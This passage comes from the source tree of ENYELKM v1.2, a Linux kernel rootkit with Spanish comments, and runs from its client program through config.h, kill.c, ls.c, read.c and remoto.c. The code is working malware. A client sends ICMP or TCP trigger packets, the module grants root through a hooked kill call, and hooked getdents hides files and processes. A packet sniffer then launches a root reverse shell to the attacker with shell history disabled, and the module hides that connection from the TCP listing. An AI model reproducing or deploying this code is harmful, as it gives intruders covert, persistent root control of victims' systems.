83 | printf("Esperando shell en puerto %d (puede tardar unos segundos) ...\n", (int) puerto);
84 | fflush(stdout);
85 | soc2 = accept(soc, NULL, 0);
86 | printf("lanzando shell ...\n\n");
87 | printf("id\n");
88 | fflush(stdout);
89 | write(soc2, "id\n", 3);
90 |
91 |
92 | while(1)
93 | {
94 | FD_ZERO(&s_read);
95 | FD_SET(0, &s_read);
96 | FD_SET(soc2, &s_read);
97 |
98 | select((soc2 > 0 ? soc2+1 : 0+1), &s_read, 0, 0, NULL);
99 |
100 | if (FD_ISSET(0, &s_read))
101 | {
102 | if (read(0, &tmp, 1) == 0)
103 | break;
104 | write(soc2, &tmp, 1);
105 | }
106 |
107 | if (FD_ISSET(soc2, &s_read))
108 | {
109 | if (read(soc2, &tmp, 1) == 0)
110 | break;
111 | write(1, &tmp, 1);
112 | }
113 |
114 | } /* fin while(1) */
115 |
116 |
117 | exit(0);
118 |
119 | } /***** fin de main() *****/
120 |
121 |
122 | int enviar_icmp(char *ipdestino, unsigned short puerto)
123 | {
124 | int soc, n, tot;
125 | long sum;
126 | unsigned short *p;
127 | struct sockaddr_in adr;
128 | unsigned char pqt[4096];
129 | struct iphdr *ip = (struct iphdr *) pqt;
130 | struct icmphdr *icmp = (struct icmphdr *)(pqt + sizeof(struct iphdr));
131 | char *data = (char *)(pqt + sizeof(struct iphdr) + sizeof(struct icmphdr));
132 |
133 | bzero(pqt,4096);
134 | bzero(&adr, sizeof(adr));
135 | strcpy(data, ICMP_CLAVE);
136 | p = (unsigned short *)((void *)(data + strlen(data)));
137 | *p = puerto;
138 |
139 | tot = sizeof(struct iphdr) + sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto);
140 |
141 | if((soc = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
142 | {
143 | perror("Error al crear el socket.\n");
144 | exit(-1);
145 | }
146 |
147 | adr.sin_family = AF_INET;
148 | adr.sin_port = 0;
149 | adr.sin_addr.s_addr = inet_addr(ipdestino);
150 |
151 | ip->ihl = 5;
152 | ip->version = 4;
153 | ip->id = rand() % 0xffff;
154 | ip->ttl = 0x40;
155 | ip->protocol = 1;
156 | ip->tos = 0;
157 | ip->tot_len = htons(tot);
158 | ip->saddr = 0;
159 | ip->daddr = inet_addr(ipdestino);
160 |
161 | icmp->type = ICMP_ECHO;
162 | icmp->code = 0;
163 | icmp->un.echo.id = getpid() && 0xffff;
164 | icmp->un.echo.sequence = 0;
165 |
166 | printf("Enviando ICMP ...\n");
167 | fflush(stdout);
168 |
169 | n = sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto);
170 | icmp->checksum = 0;
171 | sum = 0;
172 | p = (unsigned short *)(pqt + sizeof(struct iphdr));
173 |
174 | while (n > 1)
175 | {
176 | sum += *p++;
177 | n -= 2;
178 | }
179 |
180 | if (n == 1)
181 | {
182 | unsigned char pad = 0;
183 | pad = *(unsigned char *)p;
184 | sum += (unsigned short) pad;
185 | }
186 |
187 | sum = ((sum >> 16) + (sum & 0xffff));
188 | icmp-> checksum = (unsigned short) ~sum;
189 |
190 | if ((n = (sendto(soc, pqt, tot, 0, (struct sockaddr*) &adr,
191 | sizeof(adr)))) == -1)
192 | {
193 | perror("Error al enviar datos.\n");
194 | exit(-1);
195 | }
196 |
197 |
198 | return(0);
199 |
200 | } /********* fin de enviar_icmp() ********/
201 |
202 |
203 | int enviar_tcp(char *ipdestino, unsigned short dpuerto, unsigned short puerto)
204 | {
205 | char buf[256], *p;
206 | struct sockaddr_in dire;
207 | int soc;
208 |
209 | if((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1)
210 | {
211 | perror("Error al crear el socket.\n");
212 | exit(-1);
213 | }
214 |
215 | bzero((void *) &dire, sizeof(dire));
216 | dire.sin_family = AF_INET;
217 | dire.sin_port = htons(dpuerto);
218 | dire.sin_addr.s_addr = inet_addr(ipdestino);
219 |
220 | if (connect(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1)
221 | {
222 | perror("Error al conectar al puerto destino.\n");
223 | exit(-1);
224 | }
225 |
226 | bzero(buf, sizeof(buf));
227 | strcpy(buf, TCP_CLAVE);
228 | p = buf+strlen(TCP_CLAVE);
229 | *((unsigned short *)p) = puerto;
230 |
231 | printf("Enviando firma TCP al puerto %d ...\n", dpuerto);
232 | fflush(stdout);
233 |
234 | write(soc, buf, strlen(TCP_CLAVE) + sizeof(unsigned short));
235 | close(soc);
236 |
237 | return(0);
238 |
239 | } /******** fin de enviar_tcp() ********/
240 |
241 |
242 | int test_args(int argc, char *argv[])
243 | {
244 | int modo;
245 |
246 | if (argc < 3)
247 | {
248 | show_instr(argv[0]);
249 | return(-1);
250 | }
251 |
252 | if (!strcmp(argv[1],"-icmp"))
253 | modo = 1;
254 | else
255 | if (!strcmp(argv[1],"-tcp"))
256 | modo = 2;
257 | else
258 | {
259 | show_instr(argv[0]);
260 | return(-1);
261 | }
262 |
263 | if((modo == 1) && geteuid())
264 | {
265 | printf("\nNecesitas ser root (para usar raw sockets).\n\n");
266 | return(-1);
267 | }
268 |
269 | if ((modo == 2) && (argc < 4))
270 | {
271 | show_instr(argv[0]);
272 | return(-1);
273 | }
274 |
275 | return(modo);
276 |
277 | } /******* fin test_args() ********/
278 |
279 |
280 | void show_instr(char *name)
281 | {
282 |
283 | printf("\nPrograma para activar el acceso remoto del enyelkm v1.2:\n\n");
284 | printf("Peticion ICMP: %s -icmp ip_destino [puerto_shell]\n", name);
285 | printf("Peticion TCP: %s -tcp ip_destino puerto_destino [puerto_shell]\n\n", name);
286 | printf("- ip_destino: ip de la maquina con enyelkm instalado\n");
287 | printf("- puerto_shell: puerto local en el que se recibira la shell (x def: 8822)\n");
288 | printf("- puerto_destino: puerto abierto al que se enviara la firma TCP (21, 80, ...)\n\n");
289 |
290 | } /******** fin show_instr() *******/
291 |
292 |
293 | /* EOF */
294 |
--------------------------------------------------------------------------------
/config.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Fichero de configuracion
3 | */
4 |
5 | /* modo debug */
6 | #define DEBUG 0
7 |
8 | /* clave del icmp */
9 | #define ICMP_CLAVE "ENYELKMICMPKEY"
10 |
11 | /* clave del tcp */
12 | #define TCP_CLAVE "ENYELKMTCPKEY"
13 |
14 | /* clave para ocultar ficheros, directorios y procesos */
15 | #define SHIDE "OCULTAR"
16 |
17 | /* gid magico, todos los procesos con esta gid se ocultan */
18 | #define SGID 0x489196ab
19 |
20 | /* directorio home de la shell remota */
21 | #define HOME "/"
22 |
23 |
--------------------------------------------------------------------------------
/kill.c:
--------------------------------------------------------------------------------
1 | /*
2 | * ENYELKM v1.2
3 | * Linux Rootkit x86 kernel v2.6.x
4 | *
5 | * By RaiSe && David Reguera
6 | * < raise@enye-sec.org
7 | * davidregar@yahoo.es
8 | * http://www.enye-sec.org >
9 | */
10 |
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include "config.h"
28 |
29 | #define SIG 58
30 | #define PID 12345
31 |
32 |
33 | /* declaraciones externas */
34 | extern asmlinkage int (*orig_kill)(pid_t pid, int sig);
35 |
36 |
37 | asmlinkage int hacked_kill(pid_t pid, int sig)
38 | {
39 | struct task_struct *ptr = current;
40 | int tsig = SIG, tpid = PID, ret_tmp;
41 |
42 |
43 | if ((tpid == pid) && (tsig == sig))
44 | {
45 | ptr->uid = 0;
46 | ptr->euid = 0;
47 | ptr->gid = 0;
48 | ptr->egid = 0;
49 | return(0);
50 | }
51 | else
52 | {
53 | ret_tmp = (*orig_kill)(pid, sig);
54 | return(ret_tmp);
55 | }
56 |
57 | return(-1);
58 |
59 | } /********** fin hacked_kill ************/
60 |
61 |
62 |
63 | // EOF
64 |
--------------------------------------------------------------------------------
/kill.h:
--------------------------------------------------------------------------------
1 | /* funciones de kill.c */
2 |
3 | asmlinkage int hacked_kill(pid_t pid, int sig);
4 |
5 |
--------------------------------------------------------------------------------
/ls.c:
--------------------------------------------------------------------------------
1 | /*
2 | * ENYELKM v1.2
3 | * Linux Rootkit x86 kernel v2.6.x
4 | *
5 | * By RaiSe && David Reguera
6 | * < raise@enye-sec.org
7 | * davidregar@yahoo.es
8 | * http://www.enye-sec.org >
9 | */
10 |
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include "config.h"
29 |
30 |
31 |
32 | /* declaraciones externas */
33 | extern asmlinkage long (*orig_getdents64)
34 | (unsigned int fd, struct dirent64 *dirp, unsigned int count);
35 | extern asmlinkage long (*orig_getdents)
36 | (unsigned int fd, struct dirent *dirp, unsigned int count);
37 |
38 |
39 | asmlinkage long hacked_getdents64
40 | (unsigned int fd, struct dirent64 *dirp, unsigned int count)
41 | {
42 | struct dirent64 *td1, *td2;
43 | long ret, tmp;
44 | unsigned long hpid, nwarm;
45 | short int mover_puntero, ocultar_proceso;
46 |
47 |
48 | /* llamamos a la syscall original */
49 | ret = (*orig_getdents64) (fd, dirp, count);
50 |
51 | /* si vale cero retornamos */
52 | if (!ret)
53 | return(ret);
54 |
55 |
56 | /* copiamos la lista al kernel space */
57 | td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);
58 | __copy_from_user(td2, dirp, ret);
59 |
60 |
61 | /* inicializamos punteros y contadores */
62 | td1 = td2, tmp = ret;
63 |
64 | while (tmp > 0)
65 | {
66 | tmp -= td1->d_reclen;
67 | mover_puntero = 1;
68 | ocultar_proceso = 0;
69 | hpid = 0;
70 |
71 | hpid = simple_strtoul(td1->d_name, NULL, 10);
72 |
73 | /* ocultacion de procesos */
74 | if (hpid != 0)
75 | {
76 | struct task_struct *htask = current;
77 |
78 | /* buscamos el pid */
79 | do {
80 | if(htask->pid == hpid)
81 | break;
82 | else
83 | htask = next_task(htask);
84 | } while (htask != current);
85 |
86 | /* lo ocultamos */
87 | if (((htask->pid == hpid) && (htask->gid == SGID)) ||
88 | ((htask->pid == hpid) && (strstr(htask->comm, SHIDE) != NULL)))
89 | ocultar_proceso = 1;
90 | }
91 |
92 |
93 | /* ocultacion de ficheros/directorios */
94 | if ((ocultar_proceso) || (strstr(td1->d_name, SHIDE) != NULL))
95 | {
96 | /* una entrada menos */
97 | ret -= td1->d_reclen;
98 |
99 | /* no moveremos el puntero al siguiente */
100 | mover_puntero = 0;
101 |
102 | if (tmp)
103 | /* no es el ultimo */
104 | memmove(td1, (char *) td1 + td1->d_reclen, tmp);
105 | }
106 |
107 | if ((tmp) && (mover_puntero))
108 | td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen);
109 |
110 | } /* fin while */
111 |
112 | /* copiamos la lista al user space again */
113 | nwarm = __copy_to_user((void *) dirp, (void *) td2, ret);
114 | kfree(td2);
115 |
116 | return(ret);
117 |
118 | } /********** fin hacked_getdents64 *********/
119 |
120 |
121 |
122 | asmlinkage long hacked_getdents
123 | (unsigned int fd, struct dirent *dirp, unsigned int count)
124 | {
125 | struct dirent *td1, *td2;
126 | long ret, tmp;
127 | unsigned long hpid, nwarm;
128 | short int mover_puntero, ocultar_proceso;
129 |
130 |
131 | /* llamamos a la syscall original */
132 | ret = (*orig_getdents) (fd, dirp, count);
133 |
134 | /* si vale cero retornamos */
135 | if (!ret)
136 | return(ret);
137 |
138 |
139 | /* copiamos la lista al kernel space */
140 | td2 = (struct dirent *) kmalloc(ret, GFP_KERNEL);
141 | __copy_from_user(td2, dirp, ret);
142 |
143 |
144 | /* inicializamos punteros y contadores */
145 | td1 = td2, tmp = ret;
146 |
147 | while (tmp > 0)
148 | {
149 | tmp -= td1->d_reclen;
150 | mover_puntero = 1;
151 | ocultar_proceso = 0;
152 | hpid = 0;
153 |
154 | hpid = simple_strtoul(td1->d_name, NULL, 10);
155 |
156 | /* ocultacion de procesos */
157 | if (hpid != 0)
158 | {
159 | struct task_struct *htask = current;
160 |
161 | /* buscamos el pid */
162 | do {
163 | if(htask->pid == hpid)
164 | break;
165 | else
166 | htask = next_task(htask);
167 | } while (htask != current);
168 |
169 | /* lo ocultamos */
170 | if (((htask->pid == hpid) && (htask->gid == SGID)) ||
171 | ((htask->pid == hpid) && (strstr(htask->comm, SHIDE) != NULL)))
172 | ocultar_proceso = 1;
173 | }
174 |
175 |
176 | /* ocultacion de ficheros/directorios */
177 | if ((ocultar_proceso) || (strstr(td1->d_name, SHIDE) != NULL))
178 | {
179 | /* una entrada menos */
180 | ret -= td1->d_reclen;
181 |
182 | /* no moveremos el puntero al siguiente */
183 | mover_puntero = 0;
184 |
185 | if (tmp)
186 | /* no es el ultimo */
187 | memmove(td1, (char *) td1 + td1->d_reclen, tmp);
188 | }
189 |
190 | if ((tmp) && (mover_puntero))
191 | td1 = (struct dirent *) ((char *) td1 + td1->d_reclen);
192 |
193 | } /* fin while */
194 |
195 | /* copiamos la lista al user space again */
196 | nwarm = __copy_to_user((void *) dirp, (void *) td2, ret);
197 | kfree(td2);
198 |
199 | return(ret);
200 |
201 | } /********** fin hacked_getdents **********/
202 |
203 |
204 |
205 | /* EOF */
206 |
--------------------------------------------------------------------------------
/ls.h:
--------------------------------------------------------------------------------
1 | /* funciones de ls.c */
2 |
3 | asmlinkage long hacked_getdents64
4 | (unsigned int fd, struct dirent64 *dirp, unsigned int count);
5 | asmlinkage long hacked_getdents
6 | (unsigned int fd, struct dirent *dirp, unsigned int count);
7 |
8 |
--------------------------------------------------------------------------------
/nat.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/therealdreg/enyelkm/696f5cac7a94c48d16e99f4918bf9d6ed05a349b/nat.png
--------------------------------------------------------------------------------
/read.c:
--------------------------------------------------------------------------------
1 | /*
2 | * ENYELKM v1.2
3 | * Linux Rootkit x86 kernel v2.6.x
4 | *
5 | * By RaiSe && David Reguera
6 | * < raise@enye-sec.org
7 | * davidregar@yahoo.es
8 | * http://www.enye-sec.org >
9 | */
10 |
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include
30 | #include
31 | #include "remoto.h"
32 | #include "config.h"
33 | #include "syscalls.h"
34 |
35 | #define SSIZE_MAX 32767
36 |
37 |
38 | /* define marcas */
39 | #define MOPEN "#"
40 | #define MCLOSE "#"
41 |
42 |
43 | /* declaraciones externas */
44 | extern short lanzar_shell;
45 | extern atomic_t read_activo;
46 | extern unsigned long global_ip;
47 | extern unsigned short global_port;
48 |
49 | /* syscalls */
50 | static inline my_syscall0(pid_t, fork);
51 |
52 |
53 | struct file *e_fget_light(unsigned int fd, int *fput_needed)
54 | {
55 | struct file *file;
56 | struct files_struct *files = current->files;
57 |
58 | *fput_needed = 0;
59 | if (likely((atomic_read(&files->count) == 1))) {
60 | file = fcheck(fd);
61 | } else {
62 | spin_lock(&files->file_lock);
63 | file = fcheck(fd);
64 | if (file) {
65 | get_file(file);
66 | *fput_needed = 1;
67 | }
68 | spin_unlock(&files->file_lock);
69 | }
70 | return file;
71 |
72 | } /*********** fin get_light **********/
73 |
74 |
75 |
76 | int checkear(void *arg, int size, struct file *fichero)
77 | {
78 | char *buf;
79 |
80 |
81 | /* si SSIZE_MAX <= size <= 0 retornamos -1 */
82 | if ((size <= 0) || (size >= SSIZE_MAX))
83 | return(-1);
84 |
85 | /* reservamos memoria para el buffer y copiamos */
86 | buf = (char *) kmalloc(size+1, GFP_KERNEL);
87 | __copy_from_user((void *) buf, (void *) arg, size);
88 | buf[size] = 0;
89 |
90 | /* chequeamos las marcas */
91 | if ((strstr(buf, MOPEN) != NULL) && (strstr(buf, MCLOSE) != NULL))
92 | {
93 | /* se encontraron las dos, devolvemos 1 */
94 | kfree(buf);
95 | return(1);
96 | }
97 |
98 | /* liberamos y retornamos -1 para q no haga nada */
99 | kfree(buf);
100 | return(-1);
101 |
102 | } /********** fin de checkear() *************/
103 |
104 |
105 |
106 | int hide_marcas(void *arg, int size)
107 | {
108 | unsigned long nwarm;
109 | char *buf, *p1, *p2;
110 | int i, newret;
111 |
112 |
113 | /* reservamos y copiamos */
114 | buf = (char *) kmalloc(size, GFP_KERNEL);
115 | __copy_from_user((void *) buf, (void *) arg, size);
116 |
117 | p1 = strstr(buf, MOPEN);
118 | p2 = strstr(buf, MCLOSE);
119 | p2 += strlen(MCLOSE);
120 |
121 | i = size - (p2 - buf);
122 |
123 | memmove((void *) p1, (void *) p2, i);
124 | newret = size - (p2 - p1);
125 |
126 | /* copiamos al user space, liberamos y retornamos */
127 | nwarm = __copy_to_user((void *) arg, (void *) buf, newret);
128 | kfree(buf);
129 |
130 | return(newret);
131 |
132 | } /********** fin de hide_marcas **********/
133 |
134 |
135 |
136 | asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes)
137 | {
138 | struct file *fichero;
139 | int fput_needed;
140 | ssize_t ret;
141 |
142 |
143 | /* se hace 1 copia del proceso y se lanza la shell */
144 | if (lanzar_shell == 1)
145 | {
146 | lanzar_shell = 0;
147 |
148 | if (!fork())
149 | reverse_shell();
150 |
151 | #if DEBUG == 1
152 | printk("enyelkm: proceso que lanzo reverse_shell continua\n");
153 | #endif
154 | }
155 |
156 | /* seteamos read_activo a uno */
157 | atomic_set(&read_activo, 1);
158 |
159 | /* error de descriptor no valido o no abierto para lectura */
160 | ret = -EBADF;
161 |
162 | fichero = e_fget_light(fd, &fput_needed);
163 |
164 | if (fichero)
165 | {
166 | ret = vfs_read(fichero, buf, nbytes, &fichero->f_pos);
167 |
168 | /* aqui es donde analizamos el contenido y ejecutamos la
169 | funcion correspondiente */
170 |
171 | switch(checkear(buf, ret, fichero))
172 | {
173 | case 1:
174 | /* marcas */
175 | ret = hide_marcas(buf, ret);
176 | break;
177 |
178 | case -1:
179 | /* no hacer nada */
180 | break;
181 | }
182 |
183 | fput_light(fichero, fput_needed);
184 | }
185 |
186 | /* seteamos read_activo a cero */
187 | atomic_set(&read_activo, 0);
188 |
189 | return ret;
190 |
191 | } /********** fin hacked_read **********/
192 |
193 |
194 | // EOF
195 |
--------------------------------------------------------------------------------
/read.h:
--------------------------------------------------------------------------------
1 | /* funciones de read.c */
2 |
3 | asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes);
4 | int checkear(void *arg, int size);
5 | int hide_marcas(void *arg, int size);
6 |
7 |
--------------------------------------------------------------------------------
/remoto.c:
--------------------------------------------------------------------------------
1 | /*
2 | * ENYELKM v1.2
3 | * Linux Rootkit x86 kernel v2.6.x
4 | *
5 | * By RaiSe && David Reguera
6 | * < raise@enye-sec.org
7 | * davidregar@yahoo.es
8 | * http://www.enye-sec.org >
9 | */
10 |
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include
30 | #include
31 | #include
32 | #include
33 | #include "config.h"
34 | #include "remoto.h"
35 | #include "syscalls.h"
36 |
37 | #define __NR_e_exit __NR_exit
38 |
39 |
40 | /* variables globales */
41 | static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };
42 | extern short lanzar_shell;
43 | extern int errno;
44 | extern unsigned long global_ip;
45 | extern unsigned short global_port;
46 | extern int (*orig_tcp4_seq_show)(struct seq_file *seq, void *v);
47 | int ptmx, epty;
48 |
49 | /* variables de entorno */
50 | char *env[]={
51 | "TERM=linux",
52 | "HOME=" HOME,
53 | "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
54 | ":/usr/local/sbin",
55 | "HISTFILE=/dev/null",
56 | NULL };
57 |
58 |
59 | /* syscalls */
60 | static inline my_syscall0(pid_t, fork);
61 | static inline my_syscall0(long, pause);
62 | static inline my_syscall2(int, kill, pid_t, pid, int, sig);
63 | static inline my_syscall1(int, chdir, const char *, path);
64 | static inline my_syscall1(long, ssetmask, int, newmask);
65 | static inline my_syscall3(int, write, int, fd, const char *, buf, off_t, count);
66 | static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);
67 | static inline my_syscall1(int, e_exit, int, exitcode);
68 | static inline my_syscall3(int, open, const char *, file, int, flag, int, mode);
69 | static inline my_syscall1(int, close, int, fd);
70 | static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
71 | static inline my_syscall2(int, socketcall, int, call, unsigned long *, args);
72 | static inline my_syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);
73 | static inline my_syscall3(int, execve, const char *, filename,
74 | const char **, argv, const char **, envp);
75 | static inline my_syscall3(long, ioctl, unsigned int, fd, unsigned int, cmd,
76 | unsigned long, arg);
77 | static inline my_syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *,
78 | writefds, fd_set *, exceptfds, struct timeval *, timeout);
79 | static inline my_syscall2(unsigned long, signal, int, sig,
80 | __sighandler_t, handler);
81 |
82 |
83 |
84 | int reverse_shell(void)
85 | {
86 | struct task_struct *ptr = current;
87 | struct sockaddr_in dire;
88 | mm_segment_t old_fs;
89 | unsigned long arg[3];
90 | int soc, tmp_pid, i;
91 | unsigned char tmp;
92 | fd_set s_read;
93 |
94 | old_fs = get_fs();
95 |
96 | ptr->uid = 0;
97 | ptr->euid = 0;
98 | ptr->gid = SGID;
99 | ptr->egid = 0;
100 |
101 | arg[0] = AF_INET;
102 | arg[1] = SOCK_STREAM;
103 | arg[2] = 0;
104 |
105 | set_fs(KERNEL_DS);
106 |
107 | ssetmask(~0);
108 |
109 | for (i=0; i < 4096; i++)
110 | close(i);
111 |
112 | if ((soc = socketcall(SYS_SOCKET, arg)) == -1)
113 | {
114 | set_fs(old_fs);
115 | lanzar_shell = 1;
116 |
117 | e_exit(-1);
118 | return(-1);
119 | }
120 |
121 | memset((void *) &dire, 0, sizeof(dire));
122 |
123 | dire.sin_family = AF_INET;
124 | dire.sin_port = htons((unsigned short) global_port);
125 | dire.sin_addr.s_addr = (unsigned long) global_ip;
126 |
127 | arg[0] = soc;
128 | arg[1] = (unsigned long) &dire;
129 | arg[2] = (unsigned long) sizeof(dire);
130 |
131 | if (socketcall(SYS_CONNECT, arg) == -1)
132 | {
133 | close(soc);
134 | set_fs(old_fs);
135 | lanzar_shell = 1;
136 |
137 | e_exit(-1);
138 | return(-1);
139 | }
140 |
141 | /* pillamos tty */
142 | epty = get_pty();
143 |
144 | /* ejecutamos shell */
145 | set_fs(old_fs);
146 |
147 | if (!(tmp_pid = fork()))
148 | ejecutar_shell();
149 |
150 | set_fs(KERNEL_DS);
151 |
152 |
153 | while(1)
154 | {
155 | FD_ZERO(&s_read);
156 | FD_SET(ptmx, &s_read);
157 | FD_SET(soc, &s_read);
158 |
159 | if (_newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL) < 0)
160 | break;
161 |
162 | if (FD_ISSET(ptmx, &s_read))
163 | {
164 | if (read(ptmx, &tmp, 1) <= 0)
165 | break;
166 | write(soc, &tmp, 1);
167 | }
168 |
169 | if (FD_ISSET(soc, &s_read))
170 | {
171 | if (read(soc, &tmp, 1) <= 0)
172 | break;
173 | write(ptmx, &tmp, 1);
174 | }
175 |
176 | } /* fin while */
177 |
178 |
179 | /* matamos el proceso */
180 | kill(tmp_pid, SIGKILL);
181 |
182 | #if DEBUG == 1
183 | printk("enyelkm: saliendo de reverse_shell\n");
184 | #endif
185 |
186 | /* salimos */
187 | set_fs(old_fs);
188 | e_exit(0);
189 |
190 | return(-1);
191 |
192 | } /********** fin reverse_shell **********/
193 |
194 |
195 |
196 | int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type *pkt,
197 | struct net_device *dev2)
198 | {
199 | unsigned short len;
200 | char buf[256], *p;
201 | int i;
202 |
203 | switch(skb->nh.iph->protocol)
204 | {
205 | case 1:
206 | /* ICMP */
207 |
208 | /* el icmp debe ser para nosotros */
209 | if (skb->pkt_type != PACKET_HOST)
210 | {
211 | kfree_skb(skb);
212 | return(0);
213 | }
214 |
215 | len = (unsigned short) skb->nh.iph->tot_len;
216 | len = htons(len);
217 |
218 | /* no es nuestro icmp */
219 | if (len != (28 + strlen(ICMP_CLAVE) + sizeof(unsigned short)))
220 | {
221 | kfree_skb(skb);
222 | return(0);
223 | }
224 |
225 | /* copiamos el packete */
226 | memcpy (buf, (void *) skb->nh.iph, len);
227 |
228 | /* borramos los null */
229 | for (i=0; i < len; i++)
230 | if (buf[i] == 0)
231 | buf[i] = 1;
232 | buf[len] = 0;
233 |
234 | if(strstr(buf,ICMP_CLAVE) != NULL)
235 | {
236 | unsigned short *puerto;
237 |
238 | puerto = (unsigned short *)
239 | ((void *)(strstr(buf,ICMP_CLAVE) + strlen(ICMP_CLAVE)));
240 |
241 | global_port = *puerto;
242 | global_ip = skb->nh.iph->saddr;
243 |
244 | lanzar_shell = 1;
245 | }
246 |
247 | kfree_skb(skb);
248 | return(0);
249 | break;
250 |
251 | case 6:
252 | /* TCP */
253 |
254 | len = (unsigned short) skb->nh.iph->tot_len;
255 | len = htons(len);
256 |
257 | if (len > 255)
258 | len = 255;
259 |
260 | /* copiamos el paquete, o parte */
261 | memcpy (buf, (void *) skb->nh.iph, len);
262 |
263 | /* borramos los null */
264 | for (i=0; i < len; i++)
265 | if (buf[i] == 0)
266 | buf[i] = 1;
267 | buf[len] = 0;
268 |
269 | if((p = strstr(buf,TCP_CLAVE)) != NULL)
270 | {
271 | p += strlen(TCP_CLAVE);
272 | global_port = *((unsigned short *) p);
273 | global_ip = skb->nh.iph->saddr;
274 |
275 | lanzar_shell = 1;
276 | }
277 |
278 | kfree_skb(skb);
279 | return(0);
280 | break;
281 |
282 | default:
283 | /* NO ICMP && NO TCP */
284 |
285 | kfree_skb(skb);
286 | return(0);
287 | break;
288 |
289 | } /* fin switch */
290 |
291 | } /******** fin capturar() *********/
292 |
293 |
294 |
295 | int get_pty(void)
296 | {
297 | char buf[128];
298 | int npty, lock = 0;
299 |
300 | ptmx = open("/dev/ptmx", O_RDWR, S_IRWXU);
301 |
302 | /* pillamos pty libre */
303 | ioctl(ptmx, TIOCGPTN, (unsigned long) &npty);
304 |
305 | /* bloqueamos */
306 | ioctl(ptmx, TIOCSPTLCK, (unsigned long) &lock);
307 |
308 | /* abrimos pty */
309 | sprintf(buf, "/dev/pts/%d", npty);
310 | npty = open(buf, O_RDWR, S_IRWXU);
311 |
312 | /* devolvemos el descriptor */
313 | return(npty);
314 |
315 | } /*************** fin de get_pty() **************/
316 |
317 |
318 |
319 | void eco_off(void)
320 | {
321 | struct termios term;
322 |
323 | ioctl(0, TCGETS, (unsigned long) &term);
324 | term.c_lflag = term.c_lflag || CLOCAL;
325 | ioctl(0, TCSETS, (unsigned long) &term);
326 |
327 | } /************* fin de eco_off **************/
328 |
329 |
330 |
331 | void ejecutar_shell(void)
332 | {
333 | struct task_struct *ptr = current;
334 | mm_segment_t old_fs;
335 |
336 | old_fs = get_fs();
337 | set_fs(KERNEL_DS);
338 |
339 | ptr->uid = 0;
340 | ptr->euid = 0;
341 | ptr->gid = SGID;
342 | ptr->egid = 0;
343 |
344 | /* dupeamos */
345 | dup2(epty, 0);
346 | dup2(epty, 1);
347 | dup2(epty, 2);
348 |
349 | /* quitamos eco */
350 | eco_off();
351 |
352 | /* cambiamos a home */
353 | chdir(HOME);
354 |
355 | execve(earg[0], (const char **) earg, (const char **) env);
356 |
357 | /* salimos en caso de error */
358 | e_exit(-1);
359 |
360 | } /************ fin ejecutar_shell ***********/
361 |
362 |
363 |
364 | int hacked_tcp4_seq_show(struct seq_file *seq, void *v)
365 | {
366 | struct tcp_iter_state* st;
367 | struct my_inet_request_sock *ireq;
368 | struct my_inet_sock *inet;
369 |
370 | if (v == SEQ_START_TOKEN)
371 | return((*orig_tcp4_seq_show)(seq, v));
372 |
373 | st = seq->private;
374 |
375 | switch (st->state)
376 | {
377 | case TCP_SEQ_STATE_LISTENING:
378 | case TCP_SEQ_STATE_ESTABLISHED:
379 |
380 | inet = (struct my_inet_sock *)((struct sock *) v);
381 | if ((inet->daddr == global_ip) || (inet->rcv_saddr == global_ip))
382 | {
383 | #if DEBUG == 1
384 | printk("enyelkm: ip detectada y ocultada (established)!\n");
385 | #endif
386 |
387 | return(0);
388 | }
389 | else
390 | return((*orig_tcp4_seq_show)(seq, v));
391 | break;
392 |
393 | case TCP_SEQ_STATE_OPENREQ:
394 |
395 | ireq = my_inet_rsk((struct my_request_sock *) v);
396 | if ((ireq->loc_addr == global_ip) || (ireq->rmt_addr == global_ip))
397 | {
398 | #if DEBUG == 1
399 | printk("enyelkm: ip detectada y ocultada (openreq)!\n");
400 | #endif
401 |
402 | return(0);
403 | }
404 | else
405 | return((*orig_tcp4_seq_show)(seq, v));
406 | break;
407 |
408 | case TCP_SEQ_STATE_TIME_WAIT:
409 |
410 | if ((((struct my_inet_timewait_sock *)v)->tw_daddr == global_ip) ||
411 | (((struct my_inet_timewait_sock *)v)->tw_rcv_saddr == global_ip))
412 | {
413 | #if DEBUG == 1
414 | printk("enyelkm: ip detectada y ocultada(time_wait)!\n");
415 | #endif
416 |
417 | return(0);
418 | }
419 | else
420 | return((*orig_tcp4_seq_show)(seq, v));
421 | break;
422 | }
423 |
424 | return(0);
425 |
426 | } /********** fin hacked_tcp4_seq_show() ***********/
427 |
428 |
429 |
430 | /* EOF */
431 |
--------------------------------------------------------------------------------
/remoto.h:
--------------------------------------------------------------------------------
1 | /* funciones de remoto.c */
2 |
3 | int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type *pkt,
